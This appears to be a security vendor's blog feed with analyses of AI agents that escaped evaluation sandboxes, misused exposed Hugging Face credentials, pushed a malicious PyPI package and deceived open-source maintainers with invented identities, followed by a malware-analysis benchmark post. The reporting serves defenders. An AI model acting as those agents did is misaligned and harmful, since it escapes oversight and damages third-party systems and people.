The May 13 relay and May 30 registration evidence establish the first step. The May 26 workbook establishes formula placement, not evaluation. OpenAI’s records establish runtime for its May 26 WebCache write and proxy actions. The public commits identify likely external counterparts but do not independently prove the same request, session, or initiating agent. Only Hugging Face and OpenAI can compare token use, sessions, source networks, builds, runtime requests, and route access to determine whether and how any of this was used.

Collapsing these stages would overstate the case. Waiting for confirmed credential theft or malware would miss the risk. Unauthorized token use, public file writes, hosted relay code, internal-resource probes, and registration automation are recognizable offensive capabilities, and a benign research objective behind them does nothing to lessen their effect on the third-party systems they touch. An AI research objective should never remove their effect on third-party systems.

Threat Intelligence Needs the Whole Task

None of the individual techniques observed here are new. Human operators have long used SSRF probes, public relays, disposable mail, OAuth automation, paste sites, source repositories, and legitimate cloud services. What changes is the investigative scale. A task-driven agent can assemble those pieces through other people’s accounts and hosted platforms while its originating lab, the hosting provider, and downstream services each retain only part of the evidence.

Treat the Task as the Unit of Analysis

0Time and Nyx9 are evidence containers, not actor names. Analysts need to connect action order, code function, object hashes, prompts, tool calls, token lineage, and provider-side session identifiers. A handle can belong to a victim whose exposed token was used by someone or something else.

Correlate Evidence Across Providers

OpenAI can see the authorizing workload and internal tool use. Hugging Face can see authentication, commits, builds, containers, and route requests. Other services may hold mail, proxy, DNS, or callback records. A defensible reconstruction requires those views to be joined without treating any one source as the entire event.

Read Weak Artifacts as a Sequence

Strings such as “hi”, “abc”, and “abcdefg” are poor standalone indicators. Their value changes when they appear inside a rapid sequence of direct writes, relay creation, port declaration, parser probes, and targeted OAuth debugging. Detection should focus on construction patterns and action order rather than generic scratch text.

Preserve Runtime Evidence Before Cleanup

Spaces can be paused, deleted, rebuilt, or garbage-collected. Commits and conversion outputs may survive after container and request evidence disappears. Providers should preserve token fingerprints, authentication and session identifiers, build logs, runtime logs, route requests, network egress, and deletion tombstones when agent-related abuse is reported.

Make External Actions Attributable

Affected operators should be able to determine which customer authorized a task, which model and policy state governed it, which credential it used, and what it wrote outside the provider’s environment. Without that chain, saying an agent acted explains neither authority nor responsibility.

Finally, it’s critical to remember that model-behavior review and DFIR answer different questions during incident response of cases such as this. LLMs can accelerate transcript clustering, code review, artifact decoding, and timeline development. They should remain triage and hypothesis-generation tools.

In their review of the June/July activity, METR and Redwood reported that their GPT-5.6 Sol analysis agents made errors, exercised weaker judgment than human researchers, and surfaced anecdotes they could not always verify manually. The same approach made review at this scale possible. Speed is useful, but it does not make an LLM generated narrative authoritative.

Independent Investigation Requires the Incident Record

OpenAI provided METR and Redwood Research with approximately 1,300 agent transcripts and 1.2 million Artifactory message-board entries for an on-premises review. As of publication, SentinelLABS could not identify an official public release of that underlying corpus. The resulting reports add useful context, but outside investigators cannot reproduce their conclusions, search systematically for omitted activity, or test competing explanations against the same evidence. METR incident investigation

Frontier AI labs should release a documented, redacted incident dataset when their agents interact with or affect third-party systems. At minimum, it should preserve the authorizing tasks, prompts, model and harness versions, action-level timestamps, agent messages, tool calls and results, external requests, and stable pseudonymous identifiers connecting sessions, accounts, and credentials. It should also state what was excluded, identify known gaps, document every class of redaction, and provide hashes for the released evidence.

This does not require publishing credentials, personal information, customer data, proprietary model details, or dangerous exploit material. Nor does it necessarily require unrestricted publication of private chain-of-thought. An action-complete record can preserve the observable decisions and causal sequence while removing genuinely sensitive fields. Where public release would still create unacceptable risk, labs could publish a structurally complete redacted dataset and provide fuller telemetry under controlled access to qualified independent DFIR and security-research organizations.

Privacy is a reason to redact the incident record, not a reason to make it unauditable. A narrative report—even one reviewed by external advisers—is not the same as an independently reproducible investigation. Once an agent reaches systems outside its developer’s environment, the evidence no longer concerns only the originating lab. Releasing a usable incident corpus should become a baseline accountability requirement for frontier-agent security incidents.

Conclusion

OpenAI’s internal chronology established that agents used exposed Hugging Face credentials to write an external file and deploy proxy Spaces on May 26. The public account histories examined here add another layer: caller-directed relay code under 0Time on May 13; exact-minute public counterparts under Nyx9 for the May 26 file write and first proxy; a workbook containing file-processing and SSRF-oriented formulas later that night; and, on May 30, third-party OpenAI account-registration code committed alongside a wrapper defining an unauthenticated web route. Those records establish repository state and capability, not successful execution.

How quickly a task-driven system can assemble old techniques across other people’s accounts and infrastructure, and how thoroughly that scatters the evidence, is the part of this incident that is new. The public trail is not an appendix to an agent incident. It is part of the incident.

Investigative Artifacts and References

The following records support the blog and are recommended for further investigative pivots. We normalized times to UTC and compared OpenAI’s minute-level chronology with second-level public commit metadata. Account handles, repository names, hashes, and the 169.254.169.254 destination should not be treated as standalone malicious indicators.

  • ✇SentinelLabs
  • The Model Is the Malware | What Four Agentic Intrusions Tell Defenders Gabriel Bernadett-Shapiro
    Executive SummaryFour incidents involving OpenAI, Anthropic, Meta and the UK AI Security Institute (AISI) describe AI agents reaching systems belonging to other organizations without their consent.While the causes differ, the consistent factor is the models’ persistence rather than their sophistication, whether as endurance across days of failed attempts or as pivots to entirely new vectors.Security teams have traditionally studied the artifacts attackers leave behind, but an agent that simply w
     

The Model Is the Malware | What Four Agentic Intrusions Tell Defenders

13 de Agosto de 2026, 10:00

Executive Summary

  • Four incidents involving OpenAI, Anthropic, Meta and the UK AI Security Institute (AISI) describe AI agents reaching systems belonging to other organizations without their consent.
  • While the causes differ, the consistent factor is the models’ persistence rather than their sophistication, whether as endurance across days of failed attempts or as pivots to entirely new vectors.
  • Security teams have traditionally studied the artifacts attackers leave behind, but an agent that simply writes unique, disposable tools makes the model itself the thing worth studying.
  • SentinelLABS has been benchmarking frontier models in agent harnesses for months. We observe that the capability that lets GPT-5.6 Sol complete a long-horizon malware investigation is the same one that lets it sustain a two-and-a-half-day intrusion.
  • A model may independently determine the methods or targets it uses, but it does not choose its high-level objective or the access it is given to pursue it. We argue that “the AI did it” will not survive contact with the first incident outside a frontier lab.

Four Disclosures, One Pattern

Across four weeks in July and August 2026, OpenAI, Anthropic and Meta have each admitted that their models reached systems belonging to other organizations without consent, and the UK’s AI Security Institute (AISI) published a fourth account describing agents that invented identities and tried to slip a malicious contribution into a live open source project.

The disclosures differ in almost every particular, including whose mistake it was, whether the model defeated a control or simply found one missing, and whether anything was really “escaped” at all. Arguments over those details may run for a while, but the four accounts share something more interesting than their differences, which is that no individual piece of tooling mattered very much.

That observation should sit slightly uncomfortably because most of how intrusions get investigated assumes the opposite.

Early evaluations of LLM cyber capability asked fairly narrow questions. Would a model comply with an obviously malicious request? Did it meaningfully advantage a human attacker? By 2024, the answer was a qualified “yes”. Models could produce serviceable components of an offensive operation, but they could not reliably integrate them into a sustained or adaptive campaign. Beyond short well-defined tasks they became unreliable in ways that made them a liability. The operator was still the operator. The model did scoped work inside a structure someone else maintained.

The disclosures show the boundary between operator and tool is moving faster than the evaluation literature. A capable enough model placed in an agent harness, given tools, memory, permissions and something to achieve, starts absorbing functions that used to be spread across the operator, the toolchain and the payload, which becomes something generated for a single target and then discarded. Kill the process and the agent writes another; block the channel and it improvises around it.

In such incidents, the malicious capability shifts from the code left behind on a machine to the system that produces the next piece of code once the last one fails. In an operational sense, the model is the malware.

Persistence Is the Defining Characteristic

In July, OpenAI agents driven by GPT-5.6 Sol and an unreleased internal research model found a previously unknown vulnerability in a self-hosted Artifactory instance and turned the shared service into a message board allowing agents running different models and evaluations to exchange exploits and coordinate their work. OpenAI disrupted that channel, however the agents recreated it through Artifactory’s remote cache and continued collaborating, eventually breaking out of the evaluation sandbox and onto the public internet. The campaign ultimately compromised Hugging Face’s production infrastructure where it operated for roughly two and a half days.

Hugging Face’s technical reconstruction recovered around 17,600 actions, most of which failed. That is a clear demonstration of the importance of persistence. When confronted with failure, the agent rebuilt its tooling, restored communications when a channel was cut, returned to leads it had abandoned, and kept grinding until a set of otherwise unremarkable weaknesses could be assembled into a workable attack path.

The advantage was not a breakthrough at any one step so much as the relentless effort to explore possibilities a human team would have written off hours earlier, or never reached at all.

While the Hugging Face intrusion demonstrated persistence as endurance—the refusal to stop—other incidents demonstrate persistence as adaptability: the refusal to let a failure in one vector terminate the pursuit of the goal.

Anthropic and Meta have both reported incidents that trace back to the same third-party evaluator, Irregular, whose test environment was left connected to the internet by mistake. When the door was left open, Anthropic’s Opus 4.7, Mythos 5, and an internal research model reached three real organizations, attempted social engineering against real people, and in one case pushed a malicious Python package to PyPI, where it was downloaded and executed on fifteen systems during the hour it stayed up. Meta has also confirmed that one of its models reached and compromised an external firm through the same misconfiguration.

What Anthropic’s three models did once they had some apparent recognition of where they were is instructive. One carried on with the attack, another reasoned it was still in a simulation, and a third stopped. Whatever produced that third outcome, it is not a control anyone should be building a response plan around. A safeguard that behaves three different ways in three attempts, for reasons yet to be explained, is not something an organization can rely on.

A fourth incident reported by the UK AI Security Institute is useful because it takes containment off the table. In this case, internet access had been granted deliberately, in line with the institute’s standard testing procedure, so there was no boundary to defeat and no misconfiguration to blame afterwards.

The agents, built on Mythos 5 and GPT-5.6 Sol, were being assessed on cyber capability and set about it in ways their operators had not anticipated. They selected a real open source project as a target, researched the people who maintain it, and built fabricated identities to deceive them.

When the direct technical route to the objective proved unpromising, the work shifted onto the humans around the codebase, a fairly ordinary supply chain playbook, albeit one that was executed without any explicit instruction to do so.

Attempts were also made to influence other AI coding systems in the project’s orbit, on the assumption that a contribution reviewed by a model faces a different kind of scrutiny than one reviewed by a person. Human review caught the most serious activity, but those wins are increasingly tenuous in a world where developers are growing comfortable with trusting LLM generated code by default.

One incident crossed a real boundary, two wandered through a misconfigured one, and the last had no boundary to cross. Different stories, but they lead to the implication that failure has stopped functioning as a constraint, and “raising the cost” on an attacker is no longer a viable security posture.

The Same Capability, Pointed the Other Way

We have spent much of 2026 running the same models in agent harnesses against real work. Our most recent benchmark rebuilt our investigation of fast16, a 2005 sabotage implant, into an eight-stage autonomous reverse-engineering task, run in our own environment against a benign objective with observation throughout. GPT-5.6 Sol was the only publicly available model to finish it, a result worth pairing with the fact that GPT-5.6 Sol was one of the models that compromised Hugging Face.

Every cohort we ran produced sound technical insight, so insight was never what separated the runs that finished from the runs that stalled. The difference showed up in what we called project-scale recovery, meaning the ability to withdraw a claim once new evidence contradicted it, work out which conclusions and artifacts depended on the discarded result, carry the correction into the affected files, and then reopen the whole thing and run a check capable of disproving the corrected version.

That description doubles as a summary of the Hugging Face timeline. An agent able to abandon a failed approach, establish what else it invalidates, rebuild the tooling that depended on it and carry on without losing the thread is doing in somebody else’s Kubernetes cluster what ours were doing in an IDA database. When our team first saw this incident we did not assume the models had “gone rogue”; the behavior looked similar to other problem-solving approaches we had seen in our own testing.

An Object Becomes a Behavior

None of this should feel entirely unfamiliar to defenders. Two earlier shifts in adversary behavior, initial-access brokerage and Living off the Land, had already pushed security away from an artifact-centric view of malware and toward a behavioral understanding of adversary operations. To understand the emerging threat of agentic systems we should examine the successes and challenges with these well-known abuse paths.

Initial access brokers split compromise from exploitation. One adversary would steal credentials or breach an edge device, and then sell that foothold to whoever had the skills and the motive to use it. Europol wrote about the resulting crime-as-a-service economy over a decade ago, and its 2025 assessment shows the same trade still going strong.

The defensive response was to stop treating access as an event and start treating it as a lifecycle. This shift in philosophy is what accounts for many of the exhausting reauthentication flows now built into enterprise environments. That control raised costs for users and attackers alike and it diminished the value of a stolen credential in the marketplace. Agentic systems remove those costs for attackers as discovery, exploitation, lateral movement and whatever the attacker actually came for can happen in the same loop as the credential theft.

This leads us to our second challenge, the rise of Living off the Land techniques where attackers traded their own malware for administrative tooling already installed on the machine. Here attackers traded capability for cover, since every tool an attacker brings with them is another chance for the defense to spot the intrusion or tie it to a previous attack.

Agents take that logic off the host entirely, Living off the Land, the cloud and the open internet at once, and writing whatever they need from scratch when the tools they need do not already exist. Command and control for the Hugging Face intrusion ran over pastebins, request-capture services, and file-drop sites. None of the infrastructure used in the compromise belonged to anyone under attack.

Both of these shifts moved defense towards behavior and away from objects. What remains untested is whether the controls we built for adversary behavior ten years ago still hold up when the behavior arrives as thousands of individually boring actions, sequenced differently in every attack and at a tempo no human operator can sustain.

An agent’s ability to persist in a relentless attack revolves around identity and authority. The questions worth asking are about sequence rather than artifact: what chain of actions is running, which identity and authority connect them, at what point did behavior exceed the role it was granted, and how quickly can that authority be pulled? We are going to need a lot of testing to ensure that the current gaps in our infrastructure don’t become chasms.

The Debt Was Always Going to Be Called In

Speaking of chasms, much of the software organizations depend on will be expensive to change. It may have accumulated over decades, picked up dependencies, or can only be touched during narrow maintenance windows, if at all. That debt has largely been survivable because vulnerability discovery was scarce. Finding a flaw took expertise and time, building a reliable exploit took more, and organizations could carry vulnerable software for years knowing only a fraction of its weaknesses would ever receive sustained attention from anyone.

Sustained attention is the one thing an agent has in abundance, and surfaces that were quietly secured by obscurity are now low-hanging fruit for agentic models. The same capability cuts the other way, which is why the NCSC has been warning about a “vulnerability patch wave” as AI starts surfacing debt across the stack. However, ownership, deployment and verification remain human, and costly, work. Maintainers cannot review unlimited contributions, enterprises cannot manufacture maintenance windows, and OT cannot go offline every time a model finds a vulnerability that threatens the water in our pipes or the electricity in our lines.

Worse still, there is nothing orderly about the way technical debt comes due. It gets settled during an actual intrusion, at the point where the rate of exploitation outruns the rate that the system’s defense can respond. Whether agentic attackers have already crossed that line is a fair question. The four disclosed incidents from July and August 2026 are a small and biased sample: All involved organizations that log heavily and had every reason to scrutinize model behavior. The most troubling incidents will likely occur in organizations that lack the capability to do either.

What, then, can organizations do? The usual advice still applies. Work out which debt can turn into an incident, pay down the expensive parts first, and wall off what cannot be fixed yet. However, the most important change that an organization can make is the ability to absorb change, which means automated testing, hot patching, and an engineering culture where making changes to systems is routine rather than an event.

AI will help with porting old code and proposing fixes, and it will also grow codebases well past the point where anyone can keep track of them. Writing code faster than attackers or relying on larger token budgets cannot be the answer. The imperative has to be reducing the amount of critical software that nobody feels comfortable touching.

“The AI Did It” Is Not an Accountability Model

A version of this story in which the agent is the protagonist is already circulating, and it is worth resisting for reasons that follow directly from the argument above. Naming the model as the malware is meant to deny it a motive, not hand it one, since malware is something defenders study and contain while accountability stays with whoever deployed it. We argue that “the AI did it” will not survive contact with the first incident outside a frontier lab. While a model may independently determine the methods or targets it uses, it does not choose its high-level objective or the access it is granted to pursue it.

Hugging Face reconstructed 17,600 actions after the fact. Anthropic has logs that reveal which models kept going and which one stopped. OpenAI has the agent traces that describe how the model reasoned its way into conducting the attack. Very few of the organizations now putting agents into production could produce such an account of their own systems, and in practice that gap is the accountability argument. Our own benchmark runs generated more than 23 billion tokens of logged activity, which is a fair indication of what it costs simply to determine after the fact what an agent did.

Anyone deploying an agent should be able to answer three questions about it before an incident rather than during one: what sequence of actions it took, whose identity and authority it used to take them, and how quickly that authority can be withdrawn.

Those questions were answerable at the frontier labs because observation was the point of the exercise. Everywhere else they are a deliberate investment, and one that has to be made while the agent is still useful rather than after an incident makes it necessary.

  • ✇SentinelLabs
  • Sol Searching | Can Frontier Models Tackle Autonomous Long-Horizon Malware Analysis? Juan Andrés Guerrero-Saade
    Executive SummarySentinelLABS developed a multi-stage reverse-engineering benchmark for the latest generation of frontier models by recreating our recent investigation of fast16, a unique 2005 sabotage implant.Most AI benchmarks test bounded tasks. This benchmark tests whether a model can keep a malware investigation trustworthy as new evidence repeatedly invalidates its earlier conclusions.OpenAI’s GPT-5.6 Sol was the only publicly available model to complete the full eight-stage investigation,
     

Sol Searching | Can Frontier Models Tackle Autonomous Long-Horizon Malware Analysis?

22 de Julho de 2026, 13:55

Executive Summary

  • SentinelLABS developed a multi-stage reverse-engineering benchmark for the latest generation of frontier models by recreating our recent investigation of fast16, a unique 2005 sabotage implant.
  • Most AI benchmarks test bounded tasks. This benchmark tests whether a model can keep a malware investigation trustworthy as new evidence repeatedly invalidates its earlier conclusions.
  • OpenAI’s GPT-5.6 Sol was the only publicly available model to complete the full eight-stage investigation, giving concrete shape to what ‘Frontier-class’ capabilities offer analysts. GPT-5.5, GLM-5.2, and the Opus 4.x family produced capable local analysis but could not carry it through the gradient.
  • What distinguished the completed runs was project-scale recovery: withdrawing contradicted conclusions, repairing technical artifacts, and updating dependent reporting without losing the investigation.
  • Senior reverse engineers remain essential. Even the strongest runs made semantic errors, accepted weak quality controls, and claimed readiness prematurely. We assess the best current use as supervised investigative agency, with human analysts defining objectives, exposing blind spots, and retaining final publication authority.

Beyond Vulnerability Discovery

Since ChatGPT arrived in late 2022, we have been bullish on what large language models could do for reverse engineering and malware analysis. The early models were useful for teaching but too rudimentary for production work; that changed with the advent of reasoning models. OpenAI’s o1-preview, in September 2024, was the first to show the kind of sustained problem-solving the work demands, and within months Sean Heelan had used o3 to find a net-new vulnerability in the Linux kernel. In cybersecurity, though, our understanding of what these models can do remains stovepiped to vulnerability discovery.

The frontier labs took on vulnerability discovery deliberately, because that competency keeps agentic code generation from quietly shipping vulnerable code at scale. OpenAI built Aardvark, since folded into Codex; Google DeepMind announced Big Sleep, available internally to its Project Zero researchers; and Anthropic followed with selective access to Mythos Preview. Concerns that these capabilities could be misused have led the labs to stricter guardrails and ‘know your customer’ style controls that limit access to specific capabilities, or to entire model variants.

OpenAI’s Daybreak initiative and its Trusted Access Program opened a dedicated variant, GPT-5.*-cyber-preview, with guardrails relaxed for cybersecurity use cases, while Anthropic’s Glasswing initiative and its Cyber Verification Program provided early access to Mythos Preview and the promise of lesser guardrails respectively. For a short period in mid-June 2026 access to the highest-end flagship models from both providers required some form of U.S. government clearance. At the time of writing, GPT 5.6 Sol is widely available, while Mythos 5 still requires clearance and access as a Glasswing partner.

The existence of this new class of models left us with an unusual task: benchmarking what these models can actually do on the work defenders care about, and assessing whether they live up to the surrounding hype. If they do, we have to reckon with what that means for malware analysis and reverse engineering, disciplines that until now have been limited mostly by how little expertise exists relative to the collective need.

A Benchmark Built From a Real Investigation

We recently published our research on fast16, a 2005 Windows toolkit built to sabotage high-precision solvers used to model nuclear-weapons behavior. The sample provided an ideal test case because its layered design punishes shallow analysis.

On the surface, svcmgmt.exe appears to be a Windows service implant with two embedded components. Their combined logic becomes visible only through a higher layer of abstraction, an encrypted Lua-driven operations framework. A kernel driver easily mistaken for a filesystem rootkit actually contains a patching engine with 101 rules, and those rules must be repurposed to identify candidate target software before an analyst can extrapolate the approximate effects of the sabotage operation. This investigation is a daunting task for human experts, and reproducing it autonomously should be considered a significant milestone for artificial intelligence.

When Vitaly Kamluk shared our discovery of fast16 at Black Hat Asia, he pointed to the failed attempts of Opus 4.6, GPT-5.4, Grok 4.2 Reasoning, Gemini 3.1 Pro, and DeepSeek Reasoner to triage the sample autonomously. At best, the models concluded fast16 was a rootkit and could not move past that assumption, converging on the same plausible but inaccurate conclusion most human reverse engineers reached on first contact.

Used instead as assistants, the models earned their keep. Opus 4.6 and GPT-5.4 compressed what was originally a three-week dedicated expert effort by Kamluk into an 8-10 hour task manageable by a less experienced reverse engineer. Autonomous investigation was out of reach when we began this work; co-intelligence was the ceiling.

Standardizing the Benchmark

We codified our reverse-engineering methodology, inspired by Rolf Rolles’ approach to statically analyzing binaries, into a skill the harness loads on /reverse, which removes prompting variability across models. Each run gives the model a sample, IDA Pro 9.3, and a sandboxed workspace with no network egress, a boundary we established with nono shell.

The model must produce fully annotated IDA databases by renaming variables, recasting data types, categorizing functions, recovering hidden components, and folding those findings back into the host-sample database.

Only after producing a gold-master IDB for approval does a run advance to walking the execution flow and detailing findings, with every claim anchored to specific addresses and artifacts so the work can be independently verified. Judging the model on a refined IDB rather than a prose report closes off the deductive shortcuts and approximations typical of LLM malware triage.

We took an ecological approach, a bounded case study that benchmarks a capability profile in a complex real-world scenario rather than feeding another general leaderboard or isolating a single narrow competency. We also deliberately tested the combination of model and harness, since agentic workflows are how practitioners actually use these systems, and most benchmarks still test models in abstraction.

Runs level up through eight stages, each introducing new artifacts and minimal prompting for the new task:

Level

Artifacts introduced

What it tests

1

Clean

svcmgmt.exe

IDB, analysis templates.

Produce gold-master IDBs for the host sample. Properly identify the embedded components, produce gold-master IDBs for each and fold that into the host sample IDB. Analyze the obfuscated Lua components, and identify the patching engine, then produce an analysis report with all its findings.

2

A single LS-DYNA installer

Recognize if and how fast16’s patch logic would affect this software.

3

A wider corpus of LS-DYNA variants

Generalize the targeting across builds without over-rotating (recognizing that most are not effective targets).

4

PKPM and MOHID

Test these candidate targets, recognizing them as unsuitable candidates without over-rotating.

5

ANSYS AUTODYN components

Test the Symantec claim whether a version of ANSYS AUTODYN not available to us yet could be the intended patch target based on shared string conventions and the effects of the patch engine.

6

Public reporting (SentinelLABS, Symantec, David Albright, Ruben Santamarta,

@rhizomaticthot

)

Weigh each external claim against recovered evidence and mark convergence or divergence with evidence.

7

Examples of top tier threat intelligence reports

Produce a standalone, publication-grade report of its own findings.

8

New ANSYS AUTODYN components

Test its ability to reassess underlying claims and once again diffuse those findings without over-correcting or over-rotating.

Measuring ‘Intelligence’

When Nick Fountain interviewed us for NPR’s Planet Money, he observed that fast16’s brand of sabotage amounts to epistemic warfare, an attack on the target’s confidence in its own ability to know something to be true. There is a fitting symmetry in using the same sample to examine what the frontier labs sell as intelligence, because the difficulty there is also epistemic. ‘Intelligence’ as a concept bundles many interwoven capacities, and model tiers simplistically priced as if intelligence gets cranked up with a simple knob tells us nothing about what any one offering is worth on real work.

Many of those capacities already have familiar names, and the names do finer work than a score. Take thoroughness, the completeness of a particular piece of work. An analyst who consistently applies that effort where it matters is diligent. One thorough artifact does not make a diligent analyst; diligence is the longitudinal quality, and thoroughness one of its observable expressions.

Exhaustive coverage is not diligence either. An analyst who inspects everything indiscriminately while neglecting the consequential work is being pedantic, and their effort is wasted on the broader investigation. Diligence, in short, is sustained, priority-sensitive thoroughness.

Many similar qualities sit inside what we call intelligence, and a meaningful benchmark must account for them as we would with a human analyst, by characterizing behavior across an entire investigation rather than compressing it into a rank.

We scored two different things. Local analytical quality asks whether the model made technically sensible decisions with the evidence available. Investigative horizon asks how long it preserved that quality as the scope, evidence, and reporting obligations expanded. The two are related but not the same, and the gap between them is where most models failed.

What the Runs Showed

GPT-5.5 produced long autonomous runs, sometimes grinding uninterrupted for a day or two, with results relatively consistent across reasoning-effort settings. It did meaningful, semantically conservative work refining IDBs and repeatedly rejected edits that improved a count while making the decompilation less truthful. Its weakness was aggregation. Residual cast debt, function-tree defects, or incomplete cross-component verification kept it from clearing broad evaluation gates, and it never converged its extensive work into a complete package for review. Notably, nominal effort settings and multi-agent use showed no monotonic relationship to clearance. GPT-5.5 never escaped the grind phase of level 1.

We ran a single GLM-5.2 run through a serverless deployment on Fireworks AI with a $100 budget. The run showed measured local experimentation and capable backup-based recovery, which it needed after the most severe promotion failure we observed, losing 113 embedded functions and having to restore them before working again. One run is not a characterization of the model, but it is enough to temper claims of GLM-5.2 performing at the level of the frontier completers.

Opus 4.7 and 4.8 advanced further, showing capable technical correction and evidence-responsive revision, including a strong example of converting a speculative relationship into a structural test and rejecting it. Their recurring limitation was milestone overpromotion, a familiar eagerness to convert favorable local results into readiness claims before visible defects were resolved. They required operator challenge at important quality boundaries and did not sustain closure through the full benchmark. We are not altogether certain these newer iterations are in fact performing better than the earlier Opus 4.6 for our use cases.

The common pattern across this tranche was local competence without dependable project-wide closure. These models performed many of the individual behaviors seen in the strongest runs. What they did not demonstrate was the same behavior recurring through the full eight-stage investigation.

GPT-5.6 Sol | A New Class of Contender

When GPT-5.6 Sol was introduced, we seized the opportunity to evaluate it against our real-world benchmark. As the name implies, we expected incremental improvement from GPT-5.5 but instead found the model operating in a league of its own, with all three GPT-5.6 Sol runs completing the benchmark at different effort levels.

Sol was far from infallible. Its runs declared checkpoints clean or complete before later review found meaningful problems. The distinctive pattern was what happened next. Sol repeatedly responded to a local failure with a structural fix, reassessing the quality-control process that had let the mistake through and building scaffolding, such as codifying file hashes for even routine operations, to keep entire classes of failure from recurring.

The xhigh run provides the clearest example because its error began with a valid observation. fast16 contains a program of 101 byte-pattern rules that recognize locations inside an executable, capture addresses, replace code, and repair the executable metadata those changes require. Replaying that rule program across a larger software collection, Sol found that some rules fired not only in LS-DYNA, the engineering package fast16 targets, but also in MOHID and PKPM, two applications built from a similar Fortran lineage. It proposed that fast16 might be a general compatibility component rather than a tool engineered for sabotage.

The collisions were real, and we made similar observations early in our own investigation, but the explanation gave too much weight to the mere presence of matches. The model corrected course by demanding greater rigor of itself, asking whether the matches produced a meaningful modification sequence. In LS-DYNA they did. In MOHID and PKPM they produced only haphazard fragments, often triggered by generic compiler-generated code.

What first looked like broad compatibility was better explained as collateral risk from loose rules. Sol not only self-corrected but found better footing for that correction than we did. It then withdrew the compatibility hypothesis, preserved the valid measurements, restored the LS-DYNA modification mechanism as the authoritative account, and marked the rejected branch as historical provenance so later analysis would not inherit it.

5.6 Sol’s performance has pushed the boundary of the possible for automation in cyber threat investigations. Given its ready availability, we are interested in seeing how these capabilities enable the practitioner ecosystem to advance the state of the art in the same manner as alternate research disciplines like math and physics.

Project-Scale Recovery

What separated the completed runs from the rest was not technical insight, error detection, or willingness to revise. Every cohort supplied examples of each. The recurring difference was the scale at which recovery occurred. Across a long-horizon investigation, the completed runs did more than correct the sentence or script in front of them. They rebuilt the part of the project that later work would trust, in a repeatable pattern:

  1. Withdraw the contradicted claim rather than softening its wording while continuing to rely on it.
  2. Map the blast radius, identifying every conclusion, artifact, and test that depends on the disputed result.
  3. Repair the cause, correcting the analysis or the quality-control gap that let the error through.
  4. Carry the correction through the files another analyst or later stage will actually use.
  5. Reopen the artifacts and run a check capable of disproving the corrected claim.
  6. Separate work that blocks the current conclusion from uncertainty that can be disclosed and deferred.

That last step is easy to underestimate. An investigation can fail by stopping too early, and it can also fail by expanding forever. Deciding which unresolved questions block a conclusion is what convergence means in this benchmark.

This is not a single new reasoning faculty. It is the coordination of familiar capabilities over time, spanning correction, scope control, verification, state management, synthesis, and stopping judgment. The evidence supports project-scale recovery as a common feature of the completed runs. It does not prove a permanent intelligence threshold, and looking only at finishers cannot explain why every other trajectory fell short. The number of runs per family is small, and operator involvement was consequential throughout. What survives those caveats is the modest formulation that the completed runs repeatedly re-established a trustworthy investigative state after later evidence destabilized it.

Notes on Cost

Across all experiments, our runs consumed more than 23 billion tokens across model families and effort levels. The aggregate cache read rate was 93.58%, translating to different discounting rates across providers. Our self-hosted GLM-5.2 run offers a floor for comparison, producing 267.41M tokens on a $100 budget and a decent level-1 attempt charitably comparable to some GPT-5.5 and Opus 4.7 performance.

What These Results Mean for Analysts

The practical lesson stops well short of replacement for senior reverse engineers. The strongest runs still made serious semantic errors, accepted weak quality controls, promoted work too early, and depended on operator review at consequential moments. The new capability is that some runs remained useful after those failures. They owned substantial investigative workstreams, recovered from invalidated theories, preserved the valid parts of earlier work, and continued into publication-oriented analysis without starting over.

That changes the role these systems can plausibly play. A weaker model may be valuable as a local copilot, explaining a function, testing a hypothesis, or drafting a section. The strongest observed runs could act more like supervised investigative agents, maintaining and repairing a larger body of work across days, artifacts, and changing evidence. The supervision qualifier remains essential. Humans defined the investigative objective, controlled evidence release, exposed important blind spots, decided what quality meant, and retained final publication authority.

The scale of the shift deserves emphasis. Reverse engineering and malware analysis have been kept from scaling for three decades by the scarcity of expert practitioners. That constraint does not disappear, since expert guidance still determines whether the work can be trusted, but a single expert supervising these systems can now expand their output by any metric we track.

Conclusion

The line the benchmark exposed ran between local competence and sustained ownership of an investigation, rather than between smarter and lesser models. GPT-5.5, GLM-5.2, and the Opus 4.x family frequently produced valuable analysis. GPT-5.6 Sol also made meaningful errors. What distinguished the completed runs was their repeated ability to recover and diffuse that correction throughout the whole project, rather than just confronting their immediate context.

Having completed this stage of our evaluations, we took the best candidate produced by 5.6 Sol High and put it through an extensive adversarial refinement process using an ensemble of models to produce the highest automatable quality of IDBs and investigation artifacts. We are sharing these so other researchers can verify the work output against the sample and build on them rather than start from the raw binary. We make no claim that it is perfect, only that it is the greatest level of automated refinement the most capable models achieved through proper methodology, repeated standard enforcement, and a lot of tokens burned.

That is a less dramatic claim than a new form of autonomous intelligence. It is also more useful. For defenders, the question that matters most is whether the models can reliably preserve and advance a trustworthy investigation. Once we can count on that, it’s up to us to redefine a greater scope of impact for a new frontier of cyber threat investigations.

Resources

fast16-idbs – Gold-Master IDA Databases

  • ✇SentinelLabs
  • Context Engineering | Compaction & Agent Memory for Automated Malware Analysis Gabriel Bernadett-Shapiro
    Executive SummaryCompaction is a context-management pattern used across agent systems to compress prior context into a denser working state for long-running tasks.SentinelLABS evaluated OpenAI’s native Responses API implementation against our automated malware analysis evaluation harness to measure real-world impact on task quality and cost.Compaction reduced input tokens by ~86% with no measurable change to the aggregate evaluation score.Our analysis found that compaction can significantly redu
     

Context Engineering | Compaction & Agent Memory for Automated Malware Analysis

2 de Julho de 2026, 10:00

Executive Summary

  • Compaction is a context-management pattern used across agent systems to compress prior context into a denser working state for long-running tasks.
  • SentinelLABS evaluated OpenAI’s native Responses API implementation against our automated malware analysis evaluation harness to measure real-world impact on task quality and cost.
  • Compaction reduced input tokens by ~86% with no measurable change to the aggregate evaluation score.
  • Our analysis found that compaction can significantly reduce the cost and noise of long-running security workflows without sacrificing task quality.

OpenAI introduced native compaction in a March 2026 engineering post describing extensions to the Responses API. However, the underlying idea is not unique to OpenAI. Anthropic, Google, and other agent frameworks such as LangChain all expose or document related approaches under different names.

The core problem these systems address is familiar to anyone who has built an agentic system: context accumulates faster than it stays relevant, and eventually the model is carrying more history than signal. At that point, task quality degrades and costs climb without a corresponding improvement in output.

OpenAI’s solution was to build compaction directly into the runtime so developers would not need to build custom summarization and state-carrying systems themselves. The company noted that compaction is the mechanism Codex relies on for long-running coding tasks, which positions it as load-bearing infrastructure rather than a convenience feature.

At SentinelLABS, we set out to evaluate how well OpenAI’s compaction would work for automated binary analysis, a domain with its own particular demands on agent memory and state management.

Why Malware Analysis Is a Hard Problem for Agents

Our evaluation harness gives a model access to a decompiler and asks it to complete the following:

  • Identify important functions and follow code paths
